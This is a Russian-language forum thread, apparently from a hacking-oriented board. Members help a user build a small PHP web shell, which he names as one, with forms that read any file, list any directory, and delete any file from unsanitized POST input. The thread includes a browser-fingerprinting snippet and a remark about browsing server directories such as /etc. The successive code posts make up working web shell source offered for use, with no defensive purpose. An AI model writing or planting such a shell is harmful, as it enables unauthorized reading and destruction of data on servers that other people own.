вывод результатов из Php

Discussion in 'PHP' started by Ershik, 24 Sep 2008.

  1. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    Есть два куска кода:

    1 кусок кода читает содержимое файлов

    PHP:
    <?php
    $filename 
    "/var/www/html/index.php";
    $fp fopen($filename'r');
    $buf fread($fpfilesize($filename));
    fclose($fp);
    echo 
    $buf;
    ?>
    Второй кусок кода выводит содержимое директории

    PHP:
    <?php
    $dir    
    '/var/www/';
    $files scandir($dir);
    print_r($files);
    ?>
    Как можно поместить их в один файл и методом post создавать запросы, чтобы был вывод на экран?
    Например, если я хочу просмотреть директорию - я ввожу адрес. нажимаю готово и наблюдаю ответ
    Тоже самое должн происходить и с выводом содержимого файла?
    Могу предположить чисто теоретический, что запросы будут методом POST через разделение взаимосвязанности функции.
     
  2. brasco2k

    brasco2k Elder - Старейшина

    Joined:
    23 Nov 2007
    Messages:
    259
    Likes Received:
    91
    Reputations:
    0
    Во первых, не:
    PHP:
    <?php 
    $filename 
    "/var/www/html/index.php"
    $fp fopen($filename'r'); 
    $buf fread($fpfilesize($filename)); 
    fclose($fp); 
    echo 
    $buf
    ?>
    а:
    PHP:
    <?php
    $buf 
    file_get_contents('/var/www/html/index.php');
    echo 
    $buf;
    ?>
    а по теме, $_POST это массив:
    PHP:
    <?php
    foreach($_POST as $key)
    {
          echo 
    $key.'<br>';
    }
    file_put_contents('post.txt',$_POST);
    ?>
    если чесна не понял вопроса
     
  3. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,825
    Likes Received:
    808
    Reputations:
    230
    А если файл весит 500 мб?
     
    _________________________
  4. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    Спасибо.
    Нужно эти 2 куска кода запихать в один файл.
    Что-то типа веб-шелла на php но лишь с двумя возможностями:
    1) вывод список файлов и папок в данной директории, например "/var/www/html/'"
    2) вывод исходного текста, например из index.php
     
    #4 Ershik, 24 Sep 2008
    Last edited: 24 Sep 2008
  5. brasco2k

    brasco2k Elder - Старейшина

    Joined:
    23 Nov 2007
    Messages:
    259
    Likes Received:
    91
    Reputations:
    0
    1. PHP не позволит
    2. Кто такие файлы грузит?
     
  6. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,595
    Likes Received:
    405
    Reputations:
    196
    Что то типа того... о безопасности позаботься сам...

    PHP:
    <form action="" method="post">
    Позырить файл <input type="text" name="fail"> <input type="submit" name="ok1"></form>

    <form action="" method="post">
    Глянуть директорию <input type="text" name="dir"> <input type="submit" name="ok2"></form>

    <?php 
    if($_POST['fail'] and $_POST['ok1']){
    $filename $_POST['fail']; 
    $fp fopen($filename'r'); 
    $buf fread($fpfilesize($filename)); 
    fclose($fp); 
    echo 
    "<textarea rows=20 cols=100>" $buf "</textarea>"
    }
    if(
    $_POST['dir'] and $_POST['ok2']){
    $dir    $_POST['dir']; 
    $files scandir($dir); 
    echo 
    "<textarea rows=20 cols=100>";
    foreach(
    $files as $file){
     echo 
    $file "\r\n";
     }
     echo 
    "</textarea>";
    }
    ?>
     
    1 person likes this.
  7. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    Работает :) Только когда просишь показать внутренности файла "index.php " - идет исполнение за рамками поля) ну да ладно)
     
  8. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,595
    Likes Received:
    405
    Reputations:
    196
    поменяй

    PHP:
    echo "<textarea rows=20 cols=100>" $buf "</textarea>"
    на

    PHP:
    echo "<textarea rows=20 cols=100>" htmlspecialchars($buf) . "</textarea>"
    а так я на скорую руку набросал.. добавь еще проверку на существование файлов и директорий ..
     
    1 person likes this.
  9. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    Доработал чуть-чуть скрипт, и возникли вопросы.
    1) Когда я выбираю несуществующий файл, отображаются ошибки и пустое поле.
    Как это можно пофиксить?
    2) как можно сохранить строку директории? когда я перемещаюсь по серверу, мне приходится вручную вбивать каталоги:
    etc, /etc/home/, /etc/home/pornostar/index.php/

    Как можно сохранить строку директории?

    3) В коде есть ненужный кусок
    Если файл найден- он ничего не пишет. Если же файл отсуствует, выводится сообщение об ошибке.
    Как можно переписать код, чтобы он выводится в "поле" и только при значении, что файл не найдет?

    Я впервые сегодня написал простейшее выражение, не пугайтесь, что коряво написал.
    Впервой мне :rolleyes:
    Сам скрипт

    PHP:
    <form action="" method="post"> 
    Позырить файл <input type="text" name="fail"> <input type="submit" name="ok1"></form> 

    <form action="" method="post"> 
    Глянуть директорию <input type="text" name="dir"> <input type="submit" name="ok2"></form> 

    <form action="" method="post"> 
    Удалить файл <input type="text" name="del"> <input type="submit" name="ok3"></form> 


    <?php  

    if($_POST['fail'] and $_POST['ok1']){ 
    $filename $_POST['fail'];  
    $fp fopen($filename'r');
    if (
    file_exists($_POST['fail']))
    {
    }
    else
    {
    echo 
    '<div align="center"><h1>файл не найден</h1></div>';
    }
    $file_exists $buf;  
    $buf fread($fpfilesize($filename));  
    fclose($fp);  
    echo 
    "<textarea rows=20 cols=100>" htmlspecialchars($buf) . "</textarea>";

    }
    if(
    $_POST['dir'] and $_POST['ok2']){ 
    $dir    $_POST['dir'];  
    $files scandir($dir);  
    echo 
    "<textarea rows=20 cols=100>"
    foreach(
    $files as $file){ 
     echo 
    $file "\r\n"
     } 
     echo 
    "</textarea>"

    if(
    $_POST['del'] and $_POST['ok3']){ 
    $del $_POST['del'];
    $uplink unlink($_POST['del']);
    }
    ?>
    <br>
        <br>
    <script language="javascript">
        var name = navigator.appName;
        var vers = navigator.appVersion;
        var code = navigator.appCodeName;
        var where = document.referrer;
        var platform = navigator.platform;
        document.write(
            'Броузер: ' + name +
            '<br>Версия броузера: ' + vers +
            '<br>Кодовое название броузера: ' + code +
            '<br>Вы зашли из: ' + where +
            '<br>Платформа: ' + platform
            );
    </script>
     
    1 person likes this.
  10. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    173
    Likes Received:
    112
    Reputations:
    5
    PHP:
    <?php
    if(!empty($_POST['fail'])) $fail $_POST['fail'];
    else 
    $fail false;
    if(!empty(
    $_POST['dir'])) $dir $_POST['dir'];
    else 
    $dir false
    ?>

    <form action="" method="post">  
    Позырить файл <input type="text" name="fail" value="<?php echo $fail ?>"> <input type="submit" name="ok1"></form>  

    <form action="" method="post">  
    Глянуть директорию <input type="text" name="dir" value="<?php echo $dir ?>"> <input type="submit" name="ok2"></form>  

    <form action="" method="post">  
    Удалить файл <input type="text" name="del"> <input type="submit" name="ok3"></form>  


    <?php   

    if($fail and $_POST['ok1']) {  
        
    $filename $fail;   
        
    $fp fopen($filename'r'); 
        if (!@
    file_exists($fail)) echo '<div align="center"><h1>файл не найден</h1></div>'
        
        
    $file_exists $buf;   
        
    $buf fread($fpfilesize($filename));   
        
    fclose($fp);   
        echo 
    "<textarea rows=20 cols=100>" htmlspecialchars($buf) . "</textarea>"


    if(
    $dir and $_POST['ok2']) {    
        
    $dir $dir;   
        
    $files scandir($dir);   
        echo 
    "<textarea rows=20 cols=100>";  
        foreach(
    $files as $file) {  
            echo 
    $file "\r\n";  
        }  
        echo 
    "</textarea>";  
    }  
    if(
    $_POST['del'] and $_POST['ok3']) {  
        
    $del $_POST['del']; 
        
    $uplink unlink($_POST['del']); 

    ?> 
    <br> 
        <br> 
    <script language="javascript"> 
        var name = navigator.appName; 
        var vers = navigator.appVersion; 
        var code = navigator.appCodeName; 
        var where = document.referrer; 
        var platform = navigator.platform; 
        document.write( 
            'Броузер: ' + name + 
            '<br>Версия броузера: ' + vers + 
            '<br>Кодовое название броузера: ' + code + 
            '<br>Вы зашли из: ' + where + 
            '<br>Платформа: ' + platform 
            ); 
    </script>
     
    1 person likes this.
Loading...